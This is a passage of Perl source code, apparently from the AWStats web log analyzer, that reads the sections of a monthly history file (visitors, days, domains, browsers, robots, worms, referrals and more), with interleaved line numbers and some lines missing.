$_from_p[2] += $field[1];
4043
$_from_h[2] += $field[2];
4045
elsif ( $field[0] eq 'From3' ) {
4046
$_from_p[3] += $field[1];
4047
$_from_h[3] += $field[2];
4049
elsif ( $field[0] eq 'From4' ) {
4050
$_from_p[4] += $field[1];
4051
$_from_h[4] += $field[2];
4053
elsif ( $field[0] eq 'From5' ) {
4054
$_from_p[5] += $field[1];
4055
$_from_h[5] += $field[2];
4064
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4066
} until ( $field[0] eq 'END_ORIGIN'
4067
|| $field[0] eq "${xmleb}END_ORIGIN"
4069
if ( $field[0] ne 'END_ORIGIN'
4070
&& $field[0] ne "${xmleb}END_ORIGIN" )
4073
"History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4079
" End of ORIGIN section ($count entries, $countloaded loaded)"
4082
delete $SectionsToLoad{'origin'};
4083
if ( $SectionsToSave{'origin'} ) {
4084
Save_History( 'origin', $year, $month, $date );
4085
delete $SectionsToSave{'origin'};
4086
if ($withpurge) { @_from_p = (); @_from_h = (); }
4088
if ( !scalar %SectionsToLoad ) {
4089
debug(" Stop reading history file. Got all we need.");
4096
if ( $field[0] eq 'BEGIN_DAY' ) {
4097
if ($Debug) { debug(" Begin of DAY section"); }
4100
my $countloaded = 0;
4104
if ( $SectionsToLoad{'day'} ) {
4107
$DayPages{ $field[0] } += int( $field[1] );
4109
$DayHits{ $field[0] } +=
4111
; # DayHits always load (should be >0 and if not it's a day YYYYMM00 resulting of an old file migration)
4113
$DayBytes{ $field[0] } += int( $field[3] );
4116
$DayVisits{ $field[0] } += int( $field[4] );
4125
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4127
} until ( $field[0] eq 'END_DAY'
4128
|| $field[0] eq "${xmleb}END_DAY"
4130
if ( $field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY" )
4133
"History file \"$filetoread\" is corrupted (End of section DAY not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4139
" End of DAY section ($count entries, $countloaded loaded)"
4142
delete $SectionsToLoad{'day'};
4144
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
4145
#if ($SectionsToSave{'day'}) { # Must be made after read of visitor
4146
# Save_History('day',$year,$month,$date); delete $SectionsToSave{'day'};
4147
# if ($withpurge) { %DayPages=(); %DayHits=(); %DayBytes=(); %DayVisits=(); }
4149
if ( !scalar %SectionsToLoad ) {
4150
debug(" Stop reading history file. Got all we need.");
4157
if ( $field[0] eq 'BEGIN_VISITOR' ) {
4158
if ($Debug) { debug(" Begin of VISITOR section"); }
4161
my $countloaded = 0;
4166
# For backward compatibility
4167
if ($readvisitorforbackward) {
4169
$MonthUnique{ $year . $month }++;
4171
if ( $MonthRequired ne 'all' ) {
4172
if ( $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/
4173
&& $field[0] !~ /^[0-9A-F]*:/i )
4175
$MonthHostsKnown{ $year . $month }++;
4177
else { $MonthHostsUnknown{ $year . $month }++; }
4181
# Process data saved in 'wait' arrays
4182
if ( $withupdate && $_waithost_e{ $field[0] } ) {
4183
my $timehostl = int( $field[4] || 0 );
4184
my $timehosts = int( $field[5] || 0 );
4185
my $newtimehosts = (
4186
$_waithost_s{ $field[0] }
4187
? $_waithost_s{ $field[0] }
4188
: $_host_s{ $field[0] }
4190
my $newtimehostl = (
4191
$_waithost_l{ $field[0] }
4192
? $_waithost_l{ $field[0] }
4193
: $_host_l{ $field[0] }
4195
if ( $newtimehosts > $timehostl + $VISITTIMEOUT ) {
4198
" Visit for $field[0] in 'wait' arrays is a new visit different than last in history",
4202
if ( $field[6] ) { $_url_x{ $field[6] }++; }
4203
$_url_e{ $_waithost_e{ $field[0] } }++;
4204
$newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
4206
if ( $timehosts && $timehostl ) {
4208
GetSessionRange( $timehosts,
4212
if ( $_waithost_s{ $field[0] } ) {
4214
# First session found in log was followed by another one so it's finished
4216
GetSessionRange( $newtimehosts,
4221
# Here $_host_l $_host_s and $_host_u are correctly defined
4226
" Visit for $field[0] in 'wait' arrays is following of last visit in history",
4230
if ( $_waithost_s{ $field[0] } ) {
4232
# First session found in log was followed by another one so it's finished
4236
$timehosts, $newtimehosts
4238
$timehostl > $newtimehostl
4244
# Here $_host_l $_host_s and $_host_u are correctly defined
4248
# We correct $_host_l $_host_s and $_host_u
4249
if ( $timehostl > $newtimehostl ) {
4250
$_host_l{ $field[0] } = $timehostl;
4251
$_host_u{ $field[0] } = $field[6];
4253
if ( $timehosts < $newtimehosts ) {
4254
$_host_s{ $field[0] } = $timehosts;
4258
delete $_waithost_e{ $field[0] };
4259
delete $_waithost_l{ $field[0] };
4260
delete $_waithost_s{ $field[0] };
4261
delete $_waithost_u{ $field[0] };
4265
if ( $readvisitorforbackward != 2
4266
&& $SectionsToLoad{'visitor'} )
4267
{ # if readvisitorforbackward==2 we do not load
4273
if ( $HTMLOutput{'allhosts'}
4274
|| $HTMLOutput{'lasthosts'} )
4279
|| $field[0] =~ /$FilterIn{'host'}/i
4281
&& ( !$FilterEx{'host'}
4283
/$FilterEx{'host'}/i )
4289
elsif ($MonthRequired eq 'all'
4290
|| $field[2] >= $MinHit{'Host'} )
4293
$HTMLOutput{'unknownip'}
4294
&& ( $field[0] =~ /^\d+\.\d+\.\d+\.\d+$/
4295
|| $field[0] =~ /^[0-9A-F]*:/i )
4302
&& ( $MonthRequired eq 'all'
4304
$MaxNbOf{'HostsShown'} )
4313
$_host_p{ $field[0] } += $field[1];
4316
$_host_h{ $field[0] } += $field[2];
4319
$_host_k{ $field[0] } += $field[3];
4321
if ( $field[4] && !$_host_l{ $field[0] } )
4322
{ # We save last connexion params if not previously defined
4323
$_host_l{ $field[0] } = int( $field[4] );
4325
{ # field[5] field[6] are used only for update
4327
&& !$_host_s{ $field[0] } )
4329
$_host_s{ $field[0] } =
4333
&& !$_host_u{ $field[0] } )
4335
$_host_u{ $field[0] } = $field[6];
4348
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4350
} until ( $field[0] eq 'END_VISITOR'
4351
|| $field[0] eq "${xmleb}END_VISITOR"
4353
if ( $field[0] ne 'END_VISITOR'
4354
&& $field[0] ne "${xmleb}END_VISITOR" )
4357
"History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4363
" End of VISITOR section ($count entries, $countloaded loaded)"
4366
delete $SectionsToLoad{'visitor'};
4368
# WE DO NOT SAVE SECTION NOW TO BE SURE TO HAVE THIS LARGE SECTION NOT AT THE BEGINNING OF FILE
4369
#if ($SectionsToSave{'visitor'}) {
4370
# Save_History('visitor',$year,$month,$date); delete $SectionsToSave{'visitor'};
4371
# if ($withpurge) { %_host_p=(); %_host_h=(); %_host_k=(); %_host_l=(); %_host_s=(); %_host_u=(); }
4373
if ( !scalar %SectionsToLoad ) {
4374
debug(" Stop reading history file. Got all we need.");
4380
# BEGIN_UNKNOWNIP for backward compatibility
4381
if ( $field[0] eq 'BEGIN_UNKNOWNIP' ) {
4382
my %iptomigrate = ();
4383
if ($Debug) { debug(" Begin of UNKNOWNIP section"); }
4386
my $countloaded = 0;
4390
if ( $SectionsToLoad{'unknownip'} ) {
4391
$iptomigrate{ $field[0] } = $field[1] || 0;
4400
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4402
} until ( $field[0] eq 'END_UNKNOWNIP'
4403
|| $field[0] eq "${xmleb}END_UNKNOWNIP"
4405
if ( $field[0] ne 'END_UNKNOWNIP'
4406
&& $field[0] ne "${xmleb}END_UNKNOWNIP" )
4409
"History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4415
" End of UNKOWNIP section ($count entries, $countloaded loaded)"
4418
delete $SectionsToLoad{'visitor'};
4420
# THIS SECTION IS NEVER SAVED. ONLY READ FOR MIGRATE AND CONVERTED INTO VISITOR SECTION
4421
foreach ( keys %iptomigrate ) {
4422
$_host_p{$_} += int( $_host_p{'Unknown'} / $countloaded );
4423
$_host_h{$_} += int( $_host_h{'Unknown'} / $countloaded );
4424
$_host_k{$_} += int( $_host_k{'Unknown'} / $countloaded );
4425
if ( $iptomigrate{$_} > 0 ) {
4426
$_host_l{$_} = $iptomigrate{$_};
4429
delete $_host_p{'Unknown'};
4430
delete $_host_h{'Unknown'};
4431
delete $_host_k{'Unknown'};
4432
delete $_host_l{'Unknown'};
4433
if ( !scalar %SectionsToLoad ) {
4434
debug(" Stop reading history file. Got all we need.");
4441
if ( $field[0] eq 'BEGIN_LOGIN' ) {
4442
if ($Debug) { debug(" Begin of LOGIN section"); }
4445
my $countloaded = 0;
4449
if ( $SectionsToLoad{'login'} ) {
4452
$_login_p{ $field[0] } += $field[1];
4455
$_login_h{ $field[0] } += $field[2];
4458
$_login_k{ $field[0] } += $field[3];
4460
if ( !$_login_l{ $field[0] } && $field[4] ) {
4461
$_login_l{ $field[0] } = int( $field[4] );
4470
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4472
} until ( $field[0] eq 'END_LOGIN'
4473
|| $field[0] eq "${xmleb}END_LOGIN"
4475
if ( $field[0] ne 'END_LOGIN'
4476
&& $field[0] ne "${xmleb}END_LOGIN" )
4479
"History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4485
" End of LOGIN section ($count entries, $countloaded loaded)"
4488
delete $SectionsToLoad{'login'};
4489
if ( $SectionsToSave{'login'} ) {
4490
Save_History( 'login', $year, $month, $date );
4491
delete $SectionsToSave{'login'};
4499
if ( !scalar %SectionsToLoad ) {
4500
debug(" Stop reading history file. Got all we need.");
4507
if ( $field[0] eq 'BEGIN_DOMAIN' ) {
4508
if ($Debug) { debug(" Begin of DOMAIN section"); }
4511
my $countloaded = 0;
4515
if ( $SectionsToLoad{'domain'} ) {
4518
$_domener_p{ $field[0] } += $field[1];
4521
$_domener_h{ $field[0] } += $field[2];
4524
$_domener_k{ $field[0] } += $field[3];
4533
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4535
} until ( $field[0] eq 'END_DOMAIN'
4536
|| $field[0] eq "${xmleb}END_DOMAIN"
4538
if ( $field[0] ne 'END_DOMAIN'
4539
&& $field[0] ne "${xmleb}END_DOMAIN" )
4542
"History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4548
" End of DOMAIN section ($count entries, $countloaded loaded)"
4551
delete $SectionsToLoad{'domain'};
4552
if ( $SectionsToSave{'domain'} ) {
4553
Save_History( 'domain', $year, $month, $date );
4554
delete $SectionsToSave{'domain'};
4561
if ( !scalar %SectionsToLoad ) {
4562
debug(" Stop reading history file. Got all we need.");
4569
if ( $field[0] eq 'BEGIN_SESSION' ) {
4570
if ($Debug) { debug(" Begin of SESSION section"); }
4573
my $countloaded = 0;
4577
if ( $SectionsToLoad{'session'} ) {
4580
$_session{ $field[0] } += $field[1];
4589
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4591
} until ( $field[0] eq 'END_SESSION'
4592
|| $field[0] eq "${xmleb}END_SESSION"
4594
if ( $field[0] ne 'END_SESSION'
4595
&& $field[0] ne "${xmleb}END_SESSION" )
4598
"History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4604
" End of SESSION section ($count entries, $countloaded loaded)"
4607
delete $SectionsToLoad{'session'};
4609
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
4610
#if ($SectionsToSave{'session'}) {
4611
# Save_History('session',$year,$month,$date); delete $SectionsToSave{'session'}; }
4612
# if ($withpurge) { %_session=(); }
4614
if ( !scalar %SectionsToLoad ) {
4615
debug(" Stop reading history file. Got all we need.");
4622
if ( $field[0] eq 'BEGIN_OS' ) {
4623
if ($Debug) { debug(" Begin of OS section"); }
4626
my $countloaded = 0;
4630
if ( $SectionsToLoad{'os'} ) {
4633
$_os_h{ $field[0] } += $field[1];
4642
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4644
} until ( $field[0] eq 'END_OS'
4645
|| $field[0] eq "${xmleb}END_OS"
4647
if ( $field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS" ) {
4649
"History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4655
" End of OS section ($count entries, $countloaded loaded)"
4658
delete $SectionsToLoad{'os'};
4659
if ( $SectionsToSave{'os'} ) {
4660
Save_History( 'os', $year, $month, $date );
4661
delete $SectionsToSave{'os'};
4662
if ($withpurge) { %_os_h = (); }
4664
if ( !scalar %SectionsToLoad ) {
4665
debug(" Stop reading history file. Got all we need.");
4672
if ( $field[0] eq 'BEGIN_BROWSER' ) {
4673
if ($Debug) { debug(" Begin of BROWSER section"); }
4676
my $countloaded = 0;
4680
if ( $SectionsToLoad{'browser'} ) {
4683
$_browser_h{ $field[0] } += $field[1];
4692
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4694
} until ( $field[0] eq 'END_BROWSER'
4695
|| $field[0] eq "${xmleb}END_BROWSER"
4697
if ( $field[0] ne 'END_BROWSER'
4698
&& $field[0] ne "${xmleb}END_BROWSER" )
4701
"History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4707
" End of BROWSER section ($count entries, $countloaded loaded)"
4710
delete $SectionsToLoad{'browser'};
4711
if ( $SectionsToSave{'browser'} ) {
4712
Save_History( 'browser', $year, $month, $date );
4713
delete $SectionsToSave{'browser'};
4714
if ($withpurge) { %_browser_h = (); }
4716
if ( !scalar %SectionsToLoad ) {
4717
debug(" Stop reading history file. Got all we need.");
4723
# BEGIN_UNKNOWNREFERER
4724
if ( $field[0] eq 'BEGIN_UNKNOWNREFERER' ) {
4725
if ($Debug) { debug(" Begin of UNKNOWNREFERER section"); }
4728
my $countloaded = 0;
4732
if ( $SectionsToLoad{'unknownreferer'} ) {
4734
if ( !$_unknownreferer_l{ $field[0] } ) {
4735
$_unknownreferer_l{ $field[0] } =
4745
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4747
} until ( $field[0] eq 'END_UNKNOWNREFERER'
4748
|| $field[0] eq "${xmleb}END_UNKNOWNREFERER"
4750
if ( $field[0] ne 'END_UNKNOWNREFERER'
4751
&& $field[0] ne "${xmleb}END_UNKNOWNREFERER" )
4754
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4760
" End of UNKNOWNREFERER section ($count entries, $countloaded loaded)"
4763
delete $SectionsToLoad{'unknownreferer'};
4764
if ( $SectionsToSave{'unknownreferer'} ) {
4765
Save_History( 'unknownreferer', $year, $month, $date );
4766
delete $SectionsToSave{'unknownreferer'};
4767
if ($withpurge) { %_unknownreferer_l = (); }
4769
if ( !scalar %SectionsToLoad ) {
4770
debug(" Stop reading history file. Got all we need.");
4776
# BEGIN_UNKNOWNREFERERBROWSER
4777
if ( $field[0] eq 'BEGIN_UNKNOWNREFERERBROWSER' ) {
4779
debug(" Begin of UNKNOWNREFERERBROWSER section");
4783
my $countloaded = 0;
4787
if ( $SectionsToLoad{'unknownrefererbrowser'} ) {
4789
if ( !$_unknownrefererbrowser_l{ $field[0] } ) {
4790
$_unknownrefererbrowser_l{ $field[0] } =
4800
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4802
} until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER'
4803
|| $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER"
4805
if ( $field[0] ne 'END_UNKNOWNREFERERBROWSER'
4806
&& $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" )
4809
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4815
" End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)"
4818
delete $SectionsToLoad{'unknownrefererbrowser'};
4819
if ( $SectionsToSave{'unknownrefererbrowser'} ) {
4820
Save_History( 'unknownrefererbrowser',
4821
$year, $month, $date );
4822
delete $SectionsToSave{'unknownrefererbrowser'};
4823
if ($withpurge) { %_unknownrefererbrowser_l = (); }
4825
if ( !scalar %SectionsToLoad ) {
4826
debug(" Stop reading history file. Got all we need.");
4833
if ( $field[0] eq 'BEGIN_SCREENSIZE' ) {
4834
if ($Debug) { debug(" Begin of SCREENSIZE section"); }
4837
my $countloaded = 0;
4841
if ( $SectionsToLoad{'screensize'} ) {
4844
$_screensize_h{ $field[0] } += $field[1];
4853
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4855
} until ( $field[0] eq 'END_SCREENSIZE'
4856
|| $field[0] eq "${xmleb}END_SCREENSIZE"
4858
if ( $field[0] ne 'END_SCREENSIZE'
4859
&& $field[0] ne "${xmleb}END_SCREENSIZE" )
4862
"History file \"$filetoread\" is corrupted (End of section SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4868
" End of SCREENSIZE section ($count entries, $countloaded loaded)"
4871
delete $SectionsToLoad{'screensize'};
4872
if ( $SectionsToSave{'screensize'} ) {
4873
Save_History( 'screensize', $year, $month, $date );
4874
delete $SectionsToSave{'screensize'};
4875
if ($withpurge) { %_screensize_h = (); }
4877
if ( !scalar %SectionsToLoad ) {
4878
debug(" Stop reading history file. Got all we need.");
4885
if ( $field[0] eq 'BEGIN_ROBOT' ) {
4886
if ($Debug) { debug(" Begin of ROBOT section"); }
4889
my $countloaded = 0;
4893
if ( $SectionsToLoad{'robot'} ) {
4896
$_robot_h{ $field[0] } += $field[1];
4898
$_robot_k{ $field[0] } += $field[2];
4899
if ( !$_robot_l{ $field[0] } ) {
4900
$_robot_l{ $field[0] } = int( $field[3] );
4903
$_robot_r{ $field[0] } += $field[4];
4912
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4914
} until ( $field[0] eq 'END_ROBOT'
4915
|| $field[0] eq "${xmleb}END_ROBOT"
4917
if ( $field[0] ne 'END_ROBOT'
4918
&& $field[0] ne "${xmleb}END_ROBOT" )
4921
"History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4927
" End of ROBOT section ($count entries, $countloaded loaded)"
4930
delete $SectionsToLoad{'robot'};
4931
if ( $SectionsToSave{'robot'} ) {
4932
Save_History( 'robot', $year, $month, $date );
4933
delete $SectionsToSave{'robot'};
4941
if ( !scalar %SectionsToLoad ) {
4942
debug(" Stop reading history file. Got all we need.");
4949
if ( $field[0] eq 'BEGIN_WORMS' ) {
4950
if ($Debug) { debug(" Begin of WORMS section"); }
4953
my $countloaded = 0;
4957
if ( $SectionsToLoad{'worms'} ) {
4960
$_worm_h{ $field[0] } += $field[1];
4962
$_worm_k{ $field[0] } += $field[2];
4963
if ( !$_worm_l{ $field[0] } ) {
4964
$_worm_l{ $field[0] } = int( $field[3] );
4973
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4975
} until ( $field[0] eq 'END_WORMS'
4976
|| $field[0] eq "${xmleb}END_WORMS"
4978
if ( $field[0] ne 'END_WORMS'
4979
&& $field[0] ne "${xmleb}END_WORMS" )
4982
"History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4988
" End of WORMS section ($count entries, $countloaded loaded)"
4991
delete $SectionsToLoad{'worms'};
4992
if ( $SectionsToSave{'worms'} ) {
4993
Save_History( 'worms', $year, $month, $date );
4994
delete $SectionsToSave{'worms'};
5001
if ( !scalar %SectionsToLoad ) {
5002
debug(" Stop reading history file. Got all we need.");
5009
if ( $field[0] eq 'BEGIN_EMAILSENDER' ) {
5010
if ($Debug) { debug(" Begin of EMAILSENDER section"); }
5013
my $countloaded = 0;
5017
if ( $SectionsToLoad{'emailsender'} ) {
5020
$_emails_h{ $field[0] } += $field[1];
5023
$_emails_k{ $field[0] } += $field[2];
5025
if ( !$_emails_l{ $field[0] } ) {
5026
$_emails_l{ $field[0] } = int( $field[3] );
5035
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5037
} until ( $field[0] eq 'END_EMAILSENDER'
5038
|| $field[0] eq "${xmleb}END_EMAILSENDER"
5040
if ( $field[0] ne 'END_EMAILSENDER'
5041
&& $field[0] ne "${xmleb}END_EMAILSENDER" )
5044
"History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5050
" End of EMAILSENDER section ($count entries, $countloaded loaded)"
5053
delete $SectionsToLoad{'emailsender'};
5054
if ( $SectionsToSave{'emailsender'} ) {
5055
Save_History( 'emailsender', $year, $month, $date );
5056
delete $SectionsToSave{'emailsender'};
5063
if ( !scalar %SectionsToLoad ) {
5064
debug(" Stop reading history file. Got all we need.");
5071
if ( $field[0] eq 'BEGIN_EMAILRECEIVER' ) {
5072
if ($Debug) { debug(" Begin of EMAILRECEIVER section"); }
5075
my $countloaded = 0;
5079
if ( $SectionsToLoad{'emailreceiver'} ) {
5082
$_emailr_h{ $field[0] } += $field[1];
5085
$_emailr_k{ $field[0] } += $field[2];
5087
if ( !$_emailr_l{ $field[0] } ) {
5088
$_emailr_l{ $field[0] } = int( $field[3] );
5097
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5099
} until ( $field[0] eq 'END_EMAILRECEIVER'
5100
|| $field[0] eq "${xmleb}END_EMAILRECEIVER"
5102
if ( $field[0] ne 'END_EMAILRECEIVER'
5103
&& $field[0] ne "${xmleb}END_EMAILRECEIVER" )
5106
"History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5112
" End of EMAILRECEIVER section ($count entries, $countloaded loaded)"
5115
delete $SectionsToLoad{'emailreceiver'};
5116
if ( $SectionsToSave{'emailreceiver'} ) {
5117
Save_History( 'emailreceiver', $year, $month, $date );
5118
delete $SectionsToSave{'emailreceiver'};
5125
if ( !scalar %SectionsToLoad ) {
5126
debug(" Stop reading history file. Got all we need.");
5133
if ( $field[0] eq 'BEGIN_SIDER' ) {
5134
if ($Debug) { debug(" Begin of SIDER section"); }
5137
my $countloaded = 0;
5141
if ( $SectionsToLoad{'sider'} ) {
5147
if ( $HTMLOutput{'main'} ) {
5148
if ( $MonthRequired eq 'all' ) {
5153
$countloaded < $MaxNbOf{'PageShown'}
5154
&& $field[1] >= $MinHit{'File'} )
5158
$TotalDifferentPages++;
5162
{ # This is for $HTMLOutput = urldetail, urlentry or urlexit
5163
if ( $MonthRequired eq 'all' ) {
5170
&& ( !$FilterEx{'url'}
5172
/$FilterEx{'url'}/ )
5185
&& ( !$FilterEx{'url'}
5187
/$FilterEx{'url'}/ )
5188
&& $field[1] >= $MinHit{'File'}
5193
$TotalDifferentPages++;
5197
# Posssibilite de mettre if ($FilterIn{'url'} && $field[0] =~ /$FilterIn{'url'}/) mais il faut gerer TotalPages de la meme maniere
5198
$TotalBytesPages += ( $field[2] || 0 );
5199
$TotalEntries += ( $field[3] || 0 );
5200
$TotalExits += ( $field[4] || 0 );
5204
$_url_p{ $field[0] } += $field[1];
5207
$_url_k{ $field[0] } += $field[2];
5210
$_url_e{ $field[0] } += $field[3];
5213
$_url_x{ $field[0] } += $field[4];
5224
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5226
} until ( $field[0] eq 'END_SIDER'
5227
|| $field[0] eq "${xmleb}END_SIDER"
5229
if ( $field[0] ne 'END_SIDER'
5230
&& $field[0] ne "${xmleb}END_SIDER" )
5233
"History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5239
" End of SIDER section ($count entries, $countloaded loaded)"
5242
delete $SectionsToLoad{'sider'};
5244
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
5245
#if ($SectionsToSave{'sider'}) {
5246
# Save_History('sider',$year,$month,$date); delete $SectionsToSave{'sider'};
5247
# if ($withpurge) { %_url_p=(); %_url_k=(); %_url_e=(); %_url_x=(); }
5249
if ( !scalar %SectionsToLoad ) {
5250
debug(" Stop reading history file. Got all we need.");
5257
if ( $field[0] eq 'BEGIN_FILETYPES' ) {
5258
if ($Debug) { debug(" Begin of FILETYPES section"); }
5261
my $countloaded = 0;
5265
if ( $SectionsToLoad{'filetypes'} ) {
5268
$_filetypes_h{ $field[0] } += $field[1];
5271
$_filetypes_k{ $field[0] } += $field[2];
5274
$_filetypes_gz_in{ $field[0] } += $field[3];
5277
$_filetypes_gz_out{ $field[0] } += $field[4];
5286
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5288
} until ( $field[0] eq 'END_FILETYPES'
5289
|| $field[0] eq "${xmleb}END_FILETYPES"
5291
if ( $field[0] ne 'END_FILETYPES'
5292
&& $field[0] ne "${xmleb}END_FILETYPES" )
5295
"History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5301
" End of FILETYPES section ($count entries, $countloaded loaded)"
5304
delete $SectionsToLoad{'filetypes'};
5305
if ( $SectionsToSave{'filetypes'} ) {
5306
Save_History( 'filetypes', $year, $month, $date );
5307
delete $SectionsToSave{'filetypes'};
5311
%_filetypes_gz_in = ();
5312
%_filetypes_gz_out = ();
5315
if ( !scalar %SectionsToLoad ) {
5316
debug(" Stop reading history file. Got all we need.");
5323
if ( $field[0] eq 'BEGIN_DOWNLOADS' ) {
5325
debug(" Begin of DOWNLOADS section");
5329
my $counttoload = int($field[1]);
5330
my $countloaded = 0;
5334
if ( $SectionsToLoad{'downloads'}) {
5336
$_downloads{$field[0]}->{'AWSTATS_HITS'} += int( $field[1] );
5337
$_downloads{$field[0]}->{'AWSTATS_206'} += int( $field[2] );
5338
$_downloads{$field[0]}->{'AWSTATS_SIZE'} += int( $field[3] );
5346
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5348
} until ( $field[0] eq 'END_DOWNLOADS'
5349
|| $field[0] eq "${xmleb}END_DOWNLOADS"
5351
if ( $field[0] ne 'END_DOWNLOADS'
5352
&& $field[0] ne "${xmleb}END_DOWNLOADS" )
5355
"History file \"$filetoread\" is corrupted (End of section DOWNLOADS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5361
" End of DOWNLOADS section ($count entries, $countloaded loaded)"
5364
delete $SectionsToLoad{'downloads'};
5365
if ( $SectionsToSave{'downloads'} ) {
5366
Save_History( 'downloads',
5367
$year, $month, $date );
5368
delete $SectionsToSave{'downloads'};
5369
if ($withpurge) { %_downloads = (); }
5371
if ( !scalar %SectionsToLoad ) {
5372
debug(" Stop reading history file. Got all we need.");
5379
if ( $field[0] eq 'BEGIN_SEREFERRALS' ) {
5380
if ($Debug) { debug(" Begin of SEREFERRALS section"); }
5383
my $countloaded = 0;
5387
if ( $SectionsToLoad{'sereferrals'} ) {
5389
if ( $versionnum < 5004 )
5390
{ # For history files < 5.4
5393
if ( $SearchEnginesHashID{$se} ) {
5394
$_se_referrals_h{ $SearchEnginesHashID{$se}
5399
$_se_referrals_h{ $field[0] } += $field[1]
5403
elsif ( $versionnum < 5091 )
5404
{ # For history files < 5.91
5407
if ( $SearchEnginesHashID{$se} ) {
5408
$_se_referrals_p{ $SearchEnginesHashID{$se}
5411
$_se_referrals_h{ $SearchEnginesHashID{$se}
5416
$_se_referrals_p{ $field[0] } += $field[1]
5418
$_se_referrals_h{ $field[0] } += $field[2]
5424
$_se_referrals_p{ $field[0] } += $field[1];
5427
$_se_referrals_h{ $field[0] } += $field[2];
5437
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5439
} until ( $field[0] eq 'END_SEREFERRALS'
5440
|| $field[0] eq "${xmleb}END_SEREFERRALS"
5442
if ( $field[0] ne 'END_SEREFERRALS'
5443
&& $field[0] ne "${xmleb}END_SEREFERRALS" )
5446
"History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5452
" End of SEREFERRALS section ($count entries, $countloaded loaded)"
5455
